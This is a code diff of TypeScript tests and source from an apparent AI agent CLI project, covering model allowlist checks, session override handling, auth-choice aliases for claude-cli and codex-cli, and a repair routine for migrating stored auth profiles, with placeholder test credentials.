resetPluginRuntimeStateForTest();
|
||||
acpManagerTesting.resetAcpSessionManagerForTests();
|
||||
configModule.clearRuntimeConfigSnapshot();
|
||||
runCliAgentSpy.mockResolvedValue(createDefaultAgentResult() as never);
|
||||
vi.mocked(runEmbeddedPiAgent).mockResolvedValue(createDefaultAgentResult());
|
||||
vi.mocked(loadModelCatalog).mockResolvedValue([]);
|
||||
vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(() => false);
|
||||
readConfigFileSnapshotForWriteSpy.mockResolvedValue({
|
||||
snapshot: { valid: false, resolved: {} as OpenClawConfig },
|
||||
writeOptions: {},
|
||||
} as Awaited<ReturnType<typeof configModule.readConfigFileSnapshotForWrite>>);
|
||||
});
|
||||
|
||||
describe("agentCommand CLI provider handling", () => {
|
||||
it("rejects explicit CLI overrides that are outside the models allowlist", async () => {
|
||||
vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(
|
||||
(provider) => provider.trim().toLowerCase() === "claude-cli",
|
||||
);
|
||||
try {
|
||||
await withTempHome(async (home) => {
|
||||
const store = path.join(home, "sessions.json");
|
||||
mockConfig(home, store, {
|
||||
models: {
|
||||
"openai/gpt-4.1-mini": {},
|
||||
},
|
||||
});
|
||||
|
||||
await expect(
|
||||
agentCommand(
|
||||
{
|
||||
message: "use disallowed cli override",
|
||||
sessionKey: "agent:main:subagent:cli-override-error",
|
||||
model: "claude-cli/opus",
|
||||
},
|
||||
runtime,
|
||||
),
|
||||
).rejects.toThrow('Model override "claude-cli/opus" is not allowed for agent "main".');
|
||||
});
|
||||
} finally {
|
||||
vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(() => false);
|
||||
}
|
||||
});
|
||||
|
||||
it("clears stored CLI overrides when they fall outside the models allowlist", async () => {
|
||||
vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(
|
||||
(provider) => provider.trim().toLowerCase() === "claude-cli",
|
||||
);
|
||||
try {
|
||||
await withTempHome(async (home) => {
|
||||
const store = path.join(home, "sessions.json");
|
||||
writeSessionStoreSeed(store, {
|
||||
"agent:main:subagent:clear-cli-overrides": {
|
||||
sessionId: "session-clear-cli-overrides",
|
||||
updatedAt: Date.now(),
|
||||
providerOverride: "claude-cli",
|
||||
modelOverride: "opus",
|
||||
},
|
||||
});
|
||||
|
||||
mockConfig(home, store, {
|
||||
model: { primary: "openai/gpt-4.1-mini" },
|
||||
models: {
|
||||
"openai/gpt-4.1-mini": {},
|
||||
},
|
||||
});
|
||||
|
||||
vi.mocked(loadModelCatalog).mockResolvedValueOnce([
|
||||
{ id: "gpt-4.1-mini", name: "GPT-4.1 Mini", provider: "openai" },
|
||||
{ id: "opus", name: "Opus", provider: "claude-cli" },
|
||||
]);
|
||||
|
||||
await agentCommand(
|
||||
{
|
||||
message: "hi",
|
||||
sessionKey: "agent:main:subagent:clear-cli-overrides",
|
||||
},
|
||||
runtime,
|
||||
);
|
||||
|
||||
expectLastEmbeddedProviderModel("openai", "gpt-4.1-mini");
|
||||
|
||||
const saved = readSessionStore<{
|
||||
providerOverride?: string;
|
||||
modelOverride?: string;
|
||||
}>(store);
|
||||
expect(saved["agent:main:subagent:clear-cli-overrides"]?.providerOverride).toBeUndefined();
|
||||
expect(saved["agent:main:subagent:clear-cli-overrides"]?.modelOverride).toBeUndefined();
|
||||
});
|
||||
} finally {
|
||||
vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(() => false);
|
||||
}
|
||||
});
|
||||
|
||||
it("clears stale Claude CLI legacy session IDs before retrying after session expiration", async () => {
|
||||
vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(
|
||||
(provider) => provider.trim().toLowerCase() === "claude-cli",
|
||||
);
|
||||
try {
|
||||
await withTempHome(async (home) => {
|
||||
const store = path.join(home, "sessions.json");
|
||||
const sessionKey = "agent:main:subagent:cli-expired";
|
||||
writeSessionStoreSeed(store, {
|
||||
[sessionKey]: {
|
||||
sessionId: "session-cli-123",
|
||||
updatedAt: Date.now(),
|
||||
providerOverride: "claude-cli",
|
||||
modelOverride: "opus",
|
||||
cliSessionIds: { "claude-cli": "stale-cli-session" },
|
||||
claudeCliSessionId: "stale-legacy-session",
|
||||
},
|
||||
});
|
||||
|
||||
mockConfig(home, store, {
|
||||
model: { primary: "claude-cli/opus", fallbacks: [] },
|
||||
models: { "claude-cli/opus": {} },
|
||||
});
|
||||
|
||||
runCliAgentSpy
|
||||
.mockRejectedValueOnce(
|
||||
new FailoverError("session expired", {
|
||||
reason: "session_expired",
|
||||
provider: "claude-cli",
|
||||
model: "opus",
|
||||
status: 410,
|
||||
}),
|
||||
)
|
||||
.mockRejectedValue(new Error("retry failed"));
|
||||
|
||||
await expect(agentCommand({ message: "hi", sessionKey }, runtime)).rejects.toThrow(
|
||||
"retry failed",
|
||||
);
|
||||
|
||||
expect(runCliAgentSpy).toHaveBeenCalledTimes(2);
|
||||
const firstCall = runCliAgentSpy.mock.calls[0]?.[0] as
|
||||
| { cliSessionId?: string }
|
||||
| undefined;
|
||||
const secondCall = runCliAgentSpy.mock.calls[1]?.[0] as
|
||||
| { cliSessionId?: string }
|
||||
| undefined;
|
||||
expect(firstCall?.cliSessionId).toBe("stale-cli-session");
|
||||
expect(secondCall?.cliSessionId).toBeUndefined();
|
||||
|
||||
const saved = readSessionStore<{
|
||||
cliSessionIds?: Record<string, string>;
|
||||
claudeCliSessionId?: string;
|
||||
}>(store);
|
||||
expect(saved[sessionKey]?.cliSessionIds?.["claude-cli"]).toBeUndefined();
|
||||
expect(saved[sessionKey]?.claudeCliSessionId).toBeUndefined();
|
||||
});
|
||||
} finally {
|
||||
vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(() => false);
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -569,17 +569,20 @@ describe("agentCommand", () => {
|
||||
await withTempHome(async (home) => {
|
||||
const store = path.join(home, "sessions.json");
|
||||
mockConfig(home, store, {
|
||||
model: { primary: "codex-cli/gpt-5.4" },
|
||||
models: { "codex-cli/gpt-5.4": {} },
|
||||
model: { primary: "claude-cli/claude-sonnet-4-6" },
|
||||
models: { "claude-cli/claude-sonnet-4-6": {} },
|
||||
});
|
||||
vi.mocked(runEmbeddedPiAgent).mockResolvedValue({
|
||||
payloads: [{ text: "ok" }],
|
||||
meta: {
|
||||
durationMs: 5,
|
||||
agentMeta: {
|
||||
sessionId: "codex-cli-session-1",
|
||||
provider: "codex-cli",
|
||||
model: "gpt-5.4",
|
||||
sessionId: "claude-cli-session-1",
|
||||
provider: "claude-cli",
|
||||
model: "claude-sonnet-4-6",
|
||||
cliSessionBinding: {
|
||||
sessionId: "claude-cli-session-1",
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
@@ -137,7 +137,7 @@ describe("updateSessionStoreAfterAgentRun", () => {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"codex-cli": {},
|
||||
"claude-cli": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
@@ -156,15 +156,19 @@ describe("updateSessionStoreAfterAgentRun", () => {
|
||||
sessionKey: first.sessionKey!,
|
||||
storePath: first.storePath,
|
||||
sessionStore: first.sessionStore!,
|
||||
defaultProvider: "codex-cli",
|
||||
defaultModel: "gpt-5.4",
|
||||
defaultProvider: "claude-cli",
|
||||
defaultModel: "claude-sonnet-4-6",
|
||||
result: {
|
||||
payloads: [],
|
||||
meta: {
|
||||
agentMeta: {
|
||||
provider: "codex-cli",
|
||||
model: "gpt-5.4",
|
||||
sessionId: "codex-cli-session-1",
|
||||
provider: "claude-cli",
|
||||
model: "claude-sonnet-4-6",
|
||||
sessionId: "claude-cli-session-1",
|
||||
cliSessionBinding: {
|
||||
sessionId: "claude-cli-session-1",
|
||||
authEpoch: "auth-epoch-1",
|
||||
},
|
||||
},
|
||||
},
|
||||
} as never,
|
||||
@@ -176,11 +180,15 @@ describe("updateSessionStoreAfterAgentRun", () => {
|
||||
});
|
||||
|
||||
expect(second.sessionKey).toBe(first.sessionKey);
|
||||
expect(second.sessionEntry?.modelProvider).toBe("codex-cli");
|
||||
expect(second.sessionEntry?.model).toBe("gpt-5.4");
|
||||
expect(second.sessionEntry?.cliSessionBindings?.["claude-cli"]).toEqual({
|
||||
sessionId: "claude-cli-session-1",
|
||||
authEpoch: "auth-epoch-1",
|
||||
});
|
||||
|
||||
const persisted = loadSessionStore(storePath, { skipCache: true })[first.sessionKey!];
|
||||
expect(persisted?.modelProvider).toBe("codex-cli");
|
||||
expect(persisted?.model).toBe("gpt-5.4");
|
||||
expect(persisted?.cliSessionBindings?.["claude-cli"]).toEqual({
|
||||
sessionId: "claude-cli-session-1",
|
||||
authEpoch: "auth-epoch-1",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -7,19 +7,18 @@ import {
|
||||
} from "./auth-choice-legacy.js";
|
||||
|
||||
describe("auth choice legacy aliases", () => {
|
||||
it("maps codex-cli to the plugin-backed Codex choice", () => {
|
||||
expect(normalizeLegacyOnboardAuthChoice("codex-cli")).toBe("openai-codex");
|
||||
expect(resolveDeprecatedAuthChoiceReplacement("codex-cli")).toEqual({
|
||||
normalized: "openai-codex",
|
||||
message:
|
||||
'Auth choice "codex-cli" is deprecated; using OpenAI Codex (ChatGPT OAuth) setup instead.',
|
||||
it("maps claude-cli to the new anthropic cli choice", () => {
|
||||
expect(normalizeLegacyOnboardAuthChoice("claude-cli")).toBe("anthropic-cli");
|
||||
expect(resolveDeprecatedAuthChoiceReplacement("claude-cli")).toEqual({
|
||||
normalized: "anthropic-cli",
|
||||
message: 'Auth choice "claude-cli" is deprecated; using Anthropic Claude CLI setup instead.',
|
||||
});
|
||||
expect(formatDeprecatedNonInteractiveAuthChoiceError("codex-cli")).toBe(
|
||||
'Auth choice "codex-cli" is deprecated.\nUse "--auth-choice openai-codex".',
|
||||
expect(formatDeprecatedNonInteractiveAuthChoiceError("claude-cli")).toBe(
|
||||
'Auth choice "claude-cli" is deprecated.\nUse "--auth-choice anthropic-cli".',
|
||||
);
|
||||
});
|
||||
|
||||
it("sources deprecated cli aliases from plugin manifests", () => {
|
||||
expect(resolveLegacyAuthChoiceAliasesForCli()).toEqual(["codex-cli"]);
|
||||
expect(resolveLegacyAuthChoiceAliasesForCli()).toEqual(["claude-cli", "codex-cli"]);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -317,6 +317,14 @@ describe("buildAuthChoiceOptions", () => {
|
||||
|
||||
it("can include legacy aliases in cli help choices", () => {
|
||||
resolveManifestProviderAuthChoices.mockReturnValue([
|
||||
{
|
||||
pluginId: "anthropic",
|
||||
providerId: "anthropic",
|
||||
methodId: "cli",
|
||||
choiceId: "anthropic-cli",
|
||||
choiceLabel: "Anthropic Claude CLI",
|
||||
deprecatedChoiceIds: ["claude-cli"],
|
||||
},
|
||||
{
|
||||
pluginId: "openai",
|
||||
providerId: "openai-codex",
|
||||
@@ -332,6 +340,7 @@ describe("buildAuthChoiceOptions", () => {
|
||||
includeSkip: true,
|
||||
}).split("|");
|
||||
|
||||
expect(cliChoices).toContain("claude-cli");
|
||||
expect(cliChoices).toContain("codex-cli");
|
||||
});
|
||||
|
||||
@@ -412,7 +421,7 @@ describe("buildAuthChoiceOptions", () => {
|
||||
expect(litellmGroup?.options.some((opt) => opt.value === "litellm-api-key")).toBe(true);
|
||||
});
|
||||
|
||||
it("sorts grouped provider options by assistant priority", () => {
|
||||
it("prefers Anthropic Claude CLI over API key in grouped selection", () => {
|
||||
resolveManifestProviderAuthChoices.mockReturnValue([
|
||||
{
|
||||
pluginId: "anthropic",
|
||||
@@ -426,9 +435,9 @@ describe("buildAuthChoiceOptions", () => {
|
||||
{
|
||||
pluginId: "anthropic",
|
||||
providerId: "anthropic",
|
||||
methodId: "setup-token",
|
||||
choiceId: "setup-token",
|
||||
choiceLabel: "Anthropic setup-token",
|
||||
methodId: "cli",
|
||||
choiceId: "anthropic-cli",
|
||||
choiceLabel: "Anthropic Claude CLI",
|
||||
assistantPriority: -20,
|
||||
groupId: "anthropic",
|
||||
groupLabel: "Anthropic",
|
||||
@@ -442,7 +451,7 @@ describe("buildAuthChoiceOptions", () => {
|
||||
|
||||
expect(anthropicGroup).toBeDefined();
|
||||
expect(anthropicGroup?.options.map((option) => option.value)).toEqual([
|
||||
"setup-token",
|
||||
"anthropic-cli",
|
||||
"apiKey",
|
||||
]);
|
||||
});
|
||||
|
||||
@@ -253,17 +253,18 @@ describe("applyAuthChoiceLoadedPluginProvider", () => {
|
||||
agents: {
|
||||
defaults: {
|
||||
model: {
|
||||
primary: "codex-cli/gpt-5.4",
|
||||
fallbacks: ["openai/gpt-5.2"],
|
||||
primary: "claude-cli/claude-sonnet-4-6",
|
||||
fallbacks: ["claude-cli/claude-opus-4-6", "openai/gpt-5.2"],
|
||||
},
|
||||
models: {
|
||||
"codex-cli/gpt-5.4": { alias: "Codex" },
|
||||
"claude-cli/claude-sonnet-4-6": { alias: "Sonnet" },
|
||||
"claude-cli/claude-opus-4-6": { alias: "Opus" },
|
||||
"openai/gpt-5.2": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
defaultModel: "codex-cli/gpt-5.4",
|
||||
defaultModel: "claude-cli/claude-sonnet-4-6",
|
||||
}),
|
||||
};
|
||||
|
||||
@@ -291,11 +292,12 @@ describe("applyAuthChoiceLoadedPluginProvider", () => {
|
||||
});
|
||||
|
||||
expect(result.config.agents?.defaults?.model).toEqual({
|
||||
primary: "codex-cli/gpt-5.4",
|
||||
fallbacks: ["openai/gpt-5.2"],
|
||||
primary: "claude-cli/claude-sonnet-4-6",
|
||||
fallbacks: ["claude-cli/claude-opus-4-6", "openai/gpt-5.2"],
|
||||
});
|
||||
expect(result.config.agents?.defaults?.models).toEqual({
|
||||
"codex-cli/gpt-5.4": { alias: "Codex" },
|
||||
"claude-cli/claude-sonnet-4-6": { alias: "Sonnet" },
|
||||
"claude-cli/claude-opus-4-6": { alias: "Opus" },
|
||||
"openai/gpt-5.2": {},
|
||||
});
|
||||
});
|
||||
|
||||
@@ -49,19 +49,19 @@ describe("resolvePreferredProviderForAuthChoice", () => {
|
||||
|
||||
it("normalizes legacy auth choices before plugin lookup", async () => {
|
||||
resolveManifestDeprecatedProviderAuthChoice.mockReturnValue({
|
||||
choiceId: "openai-codex",
|
||||
choiceLabel: "OpenAI Codex (ChatGPT OAuth)",
|
||||
choiceId: "anthropic-cli",
|
||||
choiceLabel: "Anthropic Claude CLI",
|
||||
});
|
||||
resolveManifestProviderAuthChoice.mockReturnValue({
|
||||
pluginId: "openai",
|
||||
providerId: "openai-codex",
|
||||
methodId: "oauth",
|
||||
choiceId: "openai-codex",
|
||||
choiceLabel: "OpenAI Codex (ChatGPT OAuth)",
|
||||
pluginId: "anthropic",
|
||||
providerId: "anthropic",
|
||||
methodId: "cli",
|
||||
choiceId: "anthropic-cli",
|
||||
choiceLabel: "Anthropic Claude CLI",
|
||||
});
|
||||
|
||||
await expect(resolvePreferredProviderForAuthChoice({ choice: "codex-cli" })).resolves.toBe(
|
||||
"openai-codex",
|
||||
await expect(resolvePreferredProviderForAuthChoice({ choice: "claude-cli" })).resolves.toBe(
|
||||
"anthropic",
|
||||
);
|
||||
expect(resolveProviderPluginChoice).not.toHaveBeenCalled();
|
||||
expect(resolvePluginProviders).not.toHaveBeenCalled();
|
||||
@@ -70,21 +70,21 @@ describe("resolvePreferredProviderForAuthChoice", () => {
|
||||
it("passes explicit env through legacy auth normalization", async () => {
|
||||
const env = { OPENCLAW_AUTH_CHOICE_TEST: "1" } as NodeJS.ProcessEnv;
|
||||
resolveManifestDeprecatedProviderAuthChoice.mockReturnValue({
|
||||
choiceId: "openai-codex",
|
||||
choiceLabel: "OpenAI Codex (ChatGPT OAuth)",
|
||||
choiceId: "anthropic-cli",
|
||||
choiceLabel: "Anthropic Claude CLI",
|
||||
});
|
||||
resolveManifestProviderAuthChoice.mockReturnValue({
|
||||
pluginId: "openai",
|
||||
providerId: "openai-codex",
|
||||
methodId: "oauth",
|
||||
choiceId: "openai-codex",
|
||||
choiceLabel: "OpenAI Codex (ChatGPT OAuth)",
|
||||
pluginId: "anthropic",
|
||||
providerId: "anthropic",
|
||||
methodId: "cli",
|
||||
choiceId: "anthropic-cli",
|
||||
choiceLabel: "Anthropic Claude CLI",
|
||||
});
|
||||
|
||||
await expect(resolvePreferredProviderForAuthChoice({ choice: "codex-cli", env })).resolves.toBe(
|
||||
"openai-codex",
|
||||
);
|
||||
expect(resolveManifestDeprecatedProviderAuthChoice).toHaveBeenCalledWith("codex-cli", { env });
|
||||
await expect(
|
||||
resolvePreferredProviderForAuthChoice({ choice: "claude-cli", env }),
|
||||
).resolves.toBe("anthropic");
|
||||
expect(resolveManifestDeprecatedProviderAuthChoice).toHaveBeenCalledWith("claude-cli", { env });
|
||||
});
|
||||
|
||||
it("uses manifest metadata for plugin-owned choices", async () => {
|
||||
|
||||
@@ -1,243 +0,0 @@
|
||||
import fs from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
import type { OpenClawConfig } from "../config/config.js";
|
||||
import { captureEnv } from "../test-utils/env.js";
|
||||
import { maybeRepairRemovedAnthropicClaudeCliState } from "./doctor-auth-anthropic-claude-cli.js";
|
||||
import type { DoctorPrompter } from "./doctor-prompter.js";
|
||||
import type { DoctorRepairMode } from "./doctor-repair-mode.js";
|
||||
|
||||
let envSnapshot: ReturnType<typeof captureEnv>;
|
||||
let tempAgentDir: string | undefined;
|
||||
|
||||
function makePrompter(confirmValue: boolean): DoctorPrompter {
|
||||
const repairMode: DoctorRepairMode = {
|
||||
shouldRepair: confirmValue,
|
||||
shouldForce: false,
|
||||
nonInteractive: false,
|
||||
canPrompt: true,
|
||||
updateInProgress: false,
|
||||
};
|
||||
return {
|
||||
confirm: async () => confirmValue,
|
||||
confirmAutoFix: async () => confirmValue,
|
||||
confirmAggressiveAutoFix: async () => confirmValue,
|
||||
confirmRuntimeRepair: async () => confirmValue,
|
||||
select: async <T>(_params: unknown, fallback: T) => fallback,
|
||||
shouldRepair: repairMode.shouldRepair,
|
||||
shouldForce: repairMode.shouldForce,
|
||||
repairMode,
|
||||
};
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
envSnapshot = captureEnv(["OPENCLAW_AGENT_DIR", "PI_CODING_AGENT_DIR"]);
|
||||
tempAgentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-"));
|
||||
process.env.OPENCLAW_AGENT_DIR = tempAgentDir;
|
||||
process.env.PI_CODING_AGENT_DIR = tempAgentDir;
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
envSnapshot.restore();
|
||||
if (tempAgentDir) {
|
||||
fs.rmSync(tempAgentDir, { recursive: true, force: true });
|
||||
tempAgentDir = undefined;
|
||||
}
|
||||
});
|
||||
|
||||
describe("maybeRepairRemovedAnthropicClaudeCliState", () => {
|
||||
it("converts stored Claude CLI Anthropic auth back to anthropic and removes stale config", async () => {
|
||||
if (!tempAgentDir) {
|
||||
throw new Error("Missing temp agent dir");
|
||||
}
|
||||
const authPath = path.join(tempAgentDir, "auth-profiles.json");
|
||||
fs.writeFileSync(
|
||||
authPath,
|
||||
`${JSON.stringify(
|
||||
{
|
||||
version: 1,
|
||||
profiles: {
|
||||
"anthropic:claude-cli": {
|
||||
type: "oauth",
|
||||
provider: "claude-cli",
|
||||
access: "token-a",
|
||||
refresh: "token-r",
|
||||
expires: Date.now() + 60_000,
|
||||
email: "user@example.com",
|
||||
},
|
||||
},
|
||||
order: {
|
||||
anthropic: ["anthropic:claude-cli"],
|
||||
"claude-cli": ["anthropic:claude-cli"],
|
||||
},
|
||||
lastGood: {
|
||||
anthropic: "anthropic:claude-cli",
|
||||
"claude-cli": "anthropic:claude-cli",
|
||||
},
|
||||
usageStats: {
|
||||
"anthropic:claude-cli": {
|
||||
cooldownUntil: Date.now() + 30_000,
|
||||
cooldownReason: "rate_limit",
|
||||
},
|
||||
},
|
||||
},
|
||||
null,
|
||||
2,
|
||||
)}\n`,
|
||||
"utf8",
|
||||
);
|
||||
|
||||
const next = await maybeRepairRemovedAnthropicClaudeCliState(
|
||||
{
|
||||
auth: {
|
||||
profiles: {
|
||||
"anthropic:claude-cli": {
|
||||
provider: "claude-cli",
|
||||
mode: "oauth",
|
||||
},
|
||||
},
|
||||
order: {
|
||||
anthropic: ["anthropic:claude-cli"],
|
||||
"claude-cli": ["anthropic:claude-cli"],
|
||||
},
|
||||
},
|
||||
agents: {
|
||||
defaults: {
|
||||
model: {
|
||||
primary: "claude-cli/claude-sonnet-4-6",
|
||||
fallbacks: ["claude-cli/claude-opus-4-6", "openai/gpt-5.4"],
|
||||
},
|
||||
models: {
|
||||
"claude-cli/claude-sonnet-4-6": { alias: "Claude" },
|
||||
},
|
||||
cliBackends: {
|
||||
"claude-cli": { command: "claude" },
|
||||
"codex-cli": { command: "codex" },
|
||||
},
|
||||
},
|
||||
},
|
||||
} as OpenClawConfig,
|
||||
makePrompter(true),
|
||||
);
|
||||
|
||||
expect(next.auth?.profiles?.["anthropic:claude-cli"]).toBeUndefined();
|
||||
expect(next.auth?.profiles?.["anthropic:user@example.com"]).toMatchObject({
|
||||
provider: "anthropic",
|
||||
mode: "oauth",
|
||||
email: "user@example.com",
|
||||
});
|
||||
expect(next.auth?.order?.anthropic).toEqual(["anthropic:user@example.com"]);
|
||||
expect(next.auth?.order?.["claude-cli"]).toBeUndefined();
|
||||
expect(next.agents?.defaults?.model).toEqual({
|
||||
primary: "anthropic/claude-sonnet-4-6",
|
||||
fallbacks: ["anthropic/claude-opus-4-6", "openai/gpt-5.4"],
|
||||
});
|
||||
expect(next.agents?.defaults?.models?.["claude-cli/claude-sonnet-4-6"]).toBeUndefined();
|
||||
expect(next.agents?.defaults?.models?.["anthropic/claude-sonnet-4-6"]).toEqual({
|
||||
alias: "Claude",
|
||||
});
|
||||
expect(next.agents?.defaults?.cliBackends?.["claude-cli"]).toBeUndefined();
|
||||
expect(next.agents?.defaults?.cliBackends?.["codex-cli"]).toEqual({ command: "codex" });
|
||||
|
||||
const raw = JSON.parse(fs.readFileSync(authPath, "utf8")) as {
|
||||
profiles?: Record<string, unknown>;
|
||||
order?: Record<string, string[]>;
|
||||
lastGood?: Record<string, string>;
|
||||
usageStats?: Record<string, unknown>;
|
||||
};
|
||||
expect(raw.profiles?.["anthropic:claude-cli"]).toBeUndefined();
|
||||
expect(raw.profiles?.["anthropic:user@example.com"]).toMatchObject({
|
||||
type: "oauth",
|
||||
provider: "anthropic",
|
||||
access: "token-a",
|
||||
refresh: "token-r",
|
||||
email: "user@example.com",
|
||||
});
|
||||
expect(raw.order?.anthropic).toEqual(["anthropic:user@example.com"]);
|
||||
expect(raw.order?.["claude-cli"]).toBeUndefined();
|
||||
expect(raw.lastGood?.anthropic).toBe("anthropic:user@example.com");
|
||||
expect(raw.lastGood?.["claude-cli"]).toBeUndefined();
|
||||
expect(raw.usageStats?.["anthropic:claude-cli"]).toBeUndefined();
|
||||
expect(raw.usageStats?.["anthropic:user@example.com"]).toBeDefined();
|
||||
});
|
||||
|
||||
it("removes stale Claude CLI Anthropic config when no stored credential bytes exist", async () => {
|
||||
if (!tempAgentDir) {
|
||||
throw new Error("Missing temp agent dir");
|
||||
}
|
||||
const authPath = path.join(tempAgentDir, "auth-profiles.json");
|
||||
fs.writeFileSync(
|
||||
authPath,
|
||||
`${JSON.stringify(
|
||||
{
|
||||
version: 1,
|
||||
profiles: {
|
||||
"anthropic:default": {
|
||||
type: "api_key",
|
||||
provider: "anthropic",
|
||||
key: "sk-ant-test",
|
||||
},
|
||||
},
|
||||
order: {
|
||||
anthropic: ["anthropic:claude-cli", "anthropic:default"],
|
||||
},
|
||||
},
|
||||
null,
|
||||
2,
|
||||
)}\n`,
|
||||
"utf8",
|
||||
);
|
||||
|
||||
const next = await maybeRepairRemovedAnthropicClaudeCliState(
|
||||
{
|
||||
auth: {
|
||||
profiles: {
|
||||
"anthropic:claude-cli": {
|
||||
provider: "claude-cli",
|
||||
mode: "oauth",
|
||||
},
|
||||
"anthropic:default": {
|
||||
provider: "anthropic",
|
||||
mode: "api_key",
|
||||
},
|
||||
},
|
||||
order: {
|
||||
anthropic: ["anthropic:claude-cli", "anthropic:default"],
|
||||
},
|
||||
},
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "claude-cli/claude-sonnet-4-6",
|
||||
models: {
|
||||
"claude-cli/claude-sonnet-4-6": {},
|
||||
},
|
||||
cliBackends: {
|
||||
"claude-cli": { command: "claude" },
|
||||
},
|
||||
},
|
||||
},
|
||||
} as OpenClawConfig,
|
||||
makePrompter(true),
|
||||
);
|
||||
|
||||
expect(next.auth?.profiles?.["anthropic:claude-cli"]).toBeUndefined();
|
||||
expect(next.auth?.profiles?.["anthropic:default"]).toMatchObject({
|
||||
provider: "anthropic",
|
||||
mode: "api_key",
|
||||
});
|
||||
expect(next.auth?.order?.anthropic).toEqual(["anthropic:default"]);
|
||||
expect(next.agents?.defaults?.model).toBe("anthropic/claude-sonnet-4-6");
|
||||
expect(next.agents?.defaults?.models?.["claude-cli/claude-sonnet-4-6"]).toBeUndefined();
|
||||
expect(next.agents?.defaults?.models?.["anthropic/claude-sonnet-4-6"]).toEqual({});
|
||||
expect(next.agents?.defaults?.cliBackends?.["claude-cli"]).toBeUndefined();
|
||||
|
||||
const raw = JSON.parse(fs.readFileSync(authPath, "utf8")) as {
|
||||
profiles?: Record<string, unknown>;
|
||||
order?: Record<string, string[]>;
|
||||
};
|
||||
expect(raw.profiles?.["anthropic:claude-cli"]).toBeUndefined();
|
||||
expect(raw.profiles?.["anthropic:default"]).toBeDefined();
|
||||
expect(raw.order?.anthropic).toEqual(["anthropic:default"]);
|
||||
});
|
||||
});
|
||||
@@ -1,580 +0,0 @@
|
||||
import { ensureAuthProfileStore } from "../agents/auth-profiles.js";
|
||||
import { buildAuthProfileId } from "../agents/auth-profiles/identity.js";
|
||||
import { updateAuthProfileStoreWithLock } from "../agents/auth-profiles/store.js";
|
||||
import type { AuthProfileCredential, ProfileUsageStats } from "../agents/auth-profiles/types.js";
|
||||
import type { OpenClawConfig } from "../config/config.js";
|
||||
import type { AuthProfileConfig } from "../config/types.auth.js";
|
||||
import { note } from "../terminal/note.js";
|
||||
import type { DoctorPrompter } from "./doctor-prompter.js";
|
||||
|
||||
const ANTHROPIC_PROVIDER_ID = "anthropic";
|
||||
const CLAUDE_CLI_PROVIDER_ID = "claude-cli";
|
||||
const CLAUDE_CLI_PROFILE_ID = "anthropic:claude-cli";
|
||||
type AgentDefaultsConfig = NonNullable<NonNullable<OpenClawConfig["agents"]>["defaults"]>;
|
||||
|
||||
function trimOptionalString(value: unknown): string | undefined {
|
||||
if (typeof value !== "string") {
|
||||
return undefined;
|
||||
}
|
||||
const trimmed = value.trim();
|
||||
return trimmed.length > 0 ? trimmed : undefined;
|
||||
}
|
||||
|
||||
function isClaudeCliProviderId(value: unknown): boolean {
|
||||
return typeof value === "string" && value.trim().toLowerCase() === CLAUDE_CLI_PROVIDER_ID;
|
||||
}
|
||||
|
||||
function credentialMode(credential: AuthProfileCredential): "api_key" | "oauth" | "token" {
|
||||
return credential.type;
|
||||
}
|
||||
|
||||
function resolveTargetProfileId(params: {
|
||||
credential?: AuthProfileCredential;
|
||||
profileConfig?: AuthProfileConfig;
|
||||
}): string | undefined {
|
||||
const email =
|
||||
trimOptionalString(params.profileConfig?.email) ??
|
||||
trimOptionalString("email" in (params.credential ?? {}) ? params.credential?.email : undefined);
|
||||
return buildAuthProfileId({
|
||||
providerId: ANTHROPIC_PROVIDER_ID,
|
||||
profileName: email,
|
||||
});
|
||||
}
|
||||
|
||||
function buildConvertedCredential(
|
||||
credential: AuthProfileCredential | undefined,
|
||||
): AuthProfileCredential | undefined {
|
||||
if (!credential || !isClaudeCliProviderId(credential.provider)) {
|
||||
return undefined;
|
||||
}
|
||||
if (credential.type === "oauth") {
|
||||
return {
|
||||
...credential,
|
||||
provider: ANTHROPIC_PROVIDER_ID,
|
||||
};
|
||||
}
|
||||
if (credential.type === "token") {
|
||||
return {
|
||||
...credential,
|
||||
provider: ANTHROPIC_PROVIDER_ID,
|
||||
};
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
function buildConvertedProfileConfig(params: {
|
||||
credential?: AuthProfileCredential;
|
||||
profileConfig?: AuthProfileConfig;
|
||||
}): AuthProfileConfig | undefined {
|
||||
if (!params.credential) {
|
||||
return undefined;
|
||||
}
|
||||
const mode = credentialMode(params.credential);
|
||||
if (mode === "api_key") {
|
||||
return undefined;
|
||||
}
|
||||
const email =
|
||||
trimOptionalString(params.profileConfig?.email) ??
|
||||
trimOptionalString("email" in params.credential ? params.credential.email : undefined);
|
||||
const displayName =
|
||||
trimOptionalString(params.profileConfig?.displayName) ??
|
||||
trimOptionalString(
|
||||
"displayName" in params.credential ? params.credential.displayName : undefined,
|
||||
);
|
||||
return {
|
||||
provider: ANTHROPIC_PROVIDER_ID,
|
||||
mode,
|
||||
...(email ? { email } : {}),
|
||||
...(displayName ? { displayName } : {}),
|
||||
};
|
||||
}
|
||||
|
||||
function toAnthropicModelRef(raw: string): string | null {
|
||||
const trimmed = raw.trim();
|
||||
if (!trimmed.toLowerCase().startsWith(`${CLAUDE_CLI_PROVIDER_ID}/`)) {
|
||||
return null;
|
||||
}
|
||||
const modelId = trimmed.slice(`${CLAUDE_CLI_PROVIDER_ID}/`.length).trim();
|
||||
if (!modelId.toLowerCase().startsWith("claude-")) {
|
||||
return null;
|
||||
}
|
||||
return `${ANTHROPIC_PROVIDER_ID}/${modelId}`;
|
||||
